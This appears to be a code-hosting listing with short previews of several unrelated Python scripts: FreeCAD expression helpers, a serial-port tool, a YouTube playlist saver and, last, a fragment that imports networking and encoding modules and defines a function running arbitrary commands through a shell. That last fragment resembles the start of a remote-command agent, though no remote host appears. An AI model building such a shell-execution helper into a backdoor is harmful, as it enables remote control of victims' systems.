This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import FreeCAD as App, FreeCADGui as Gui | |
| import json, ast, pathlib | |
| # ---------- helpers ---------- | |
| def set_expr(obj, prop, expr): | |
| if hasattr(obj, "setExpression"): | |
| obj.setExpression(prop, expr) | |
| else: | |
| ee = getattr(obj, "ExpressionEngine", None) | |
| if ee and hasattr(ee, "setExpression"): | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import FreeCAD as App, FreeCADGui as Gui | |
| import csv, ast, pathlib, re | |
| # ---------- helpers ---------- | |
| def expr_map(obj): | |
| ee = getattr(obj, "ExpressionEngine", None) | |
| if not ee: | |
| return {} | |
| try: | |
| return dict(ee) | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | #!/usr/bin/env python3 | |
| import serial | |
| import time | |
| import struct | |
| # ------------------ | |
| # Configuration | |
| # ------------------ | |
| SERIAL_PORT = '/dev/ttyUSB0' | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | #!/usr/bin/python3 | |
| from bs4 import BeautifulSoup | |
| import easygui, traceback, os | |
| #fuck youtube and fuck goolag | |
| #go on your full playlist page and scroll to the bottom, then open element inspector and copy the segment"<div id="contents" class="style-scope ytd-playlist-video-list-renderer">" | |
| #paste it into the box and choose a filename | |
| #it saves even deleted videos so they can be recovered with the internet archive | |
| #sometimes easygui fails when videos have special characters and emojis so you have to put the html in a text file | |
| entry = easygui.boolbox('Enter HTML in easygui?') | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | #!/usr/bin/python3 | |
| # -*- coding: utf-8 -*- | |
| import base64,hashlib,binascii,random,subprocess,time,os,urllib.request,urllib.error,urllib.parse | |
| def Exec(cmde): | |
| if cmde: | |
| execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
| cmdoutput = execproc.stdout.read() + execproc.stderr.read() | |
| return cmdoutput |